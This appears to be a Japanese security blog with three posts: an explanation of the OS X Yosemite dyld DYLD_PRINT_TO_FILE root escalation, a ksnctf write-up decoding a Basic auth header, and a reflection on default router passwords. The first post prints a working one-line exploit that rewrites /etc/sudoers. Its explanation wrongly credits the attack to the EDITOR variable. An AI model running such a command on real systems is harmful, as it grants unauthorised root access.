Mac OS X Yosemiteにおけるroot権限昇格の脆弱性について
こんにちは。本日は先日ネットで話題になっていたMac OS X Yosemiteにおける深刻な脆弱性について解説をしたいと思います。
みなさんMacを使われている方が多いと思いますので参考にしていただけたらと思います。
概要
これはドイツのセキュリティ企業"SektionEins"がOS X Yosemiteのdynamic linker dyldに非rootユーザーがroot権限を使用できる権限昇格の脆弱性が存在すると発表したもので、AppleがYosemiteから新しいdyldを導入をしたのですが、その中の1つにある"DYLD_PRINT_TO_FILE"という環境変数が実行終了時にファイルをクローズしない不具合を利用したものです。
この脆弱性自体は多くのユーザーが認知しているとのことですが、先日ネットで1行でrootへ昇格できるものが公開されていました。
方法(実際のコード)
その1行でrootへ昇格できるというコードがこちらです。
echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su
たったこれだけでroot権限へ昇格できてしまうとは怖いです。。。
これはEDITORの環境変数に"DYLD_PRINT_TO_FILE"指定をして、/"etc/sudoers"に"ALL ALL=(ALL) NOPASSWD:ALL"を書き加えるというもので、
sudoersファイルはsudoの動作設定が記述されており、sudoユーザーでも読み出し権限しかなく、特別に用意されたvisudoを使って編集をしなくてはいけないのですが、今回の脆弱性をつかうといともたやすく書き加えることができてしまいます。
ksnctf - 8 Basic is secure?
今回はksnctfの問題をとこうと思います。
まずq8.pcapというファイルが渡されます。このファイルを開くには、何らかのパケットを解析するツールが必要になります。
私は今回はwiresharkという解析ツールを使いました。
ファイルを開いてみると、
Authorization: Basic cTg6RkxBR181dXg3eksyTktTSDhmU0dB
が見えました。
そして、"Authorization: Basic" でググるとその後はbase64でエンコードしているということがわかったので、
cTg6RkxBR181dXg3eksyTktTSDhmU0dB
をbase64でデコードして無事フラグゲット出来ました。
今回は非常に単純なもんだいを例に出しいましたが、wiresharkはそれ以外のばでもよく使うので使えるようになっておいたほうがいいかもしれません。
ちょっとした無線LANセキュリティ!?
こんにちは。最近は、Write upをかけるようなCTFに取り組めていないので、気付いたことについて書いてきたと思います。
私の実家では某社製一般向け家庭用の無線LANルーターを使っています。先日ファームウェアの更新を買って以来(一年近く)怠っていたので、ファームウェアを更新作業をしていました。
その時に初めて無線LANのWeb管理画面にアクセスしたのですが、なんとそのログインパスワードとユーザネームがデフォルト(製品共通)の簡単なパスワードになっていたのです。
最初は無線LANに接続するときのパスワードを入力するのかと思い、ログイン失敗を何度も繰り返していました。これはおかしいと思いネットでマニュアルを調べたところ無線LANに接続するパスワードとは別に管理画面ログイン用のパスワードがあるということを知りました。これがデフォルトのままだと、無線LANへの接続を許可されているユーザがweb管理画面にログインでき、そこからパスワードをデフォルトから変更することができ、さらにリモートのアクセスを許可させたり、ルーティングを変更したり、また無線LANの接続に認証をなくすなど、やろうと思えば多くのことができてしまいます。
ハニーポットなど設置すると、この手のデフォルトユーザとデフォルトパスワードを狙った攻撃が多いという話を聞いていたのにもかかわらず、こんなことをやらかしてしまうとは。。。
最近の機器は詳しい設定なしで接続できたりと便利になっていますが、便利になるほどこういう見落としが増えるんではないかなと思います。
便利って怖い!!!
こんな簡単なことと思うかもしれませんが、案外見落としがちなのでみなさんもお気を付けてください。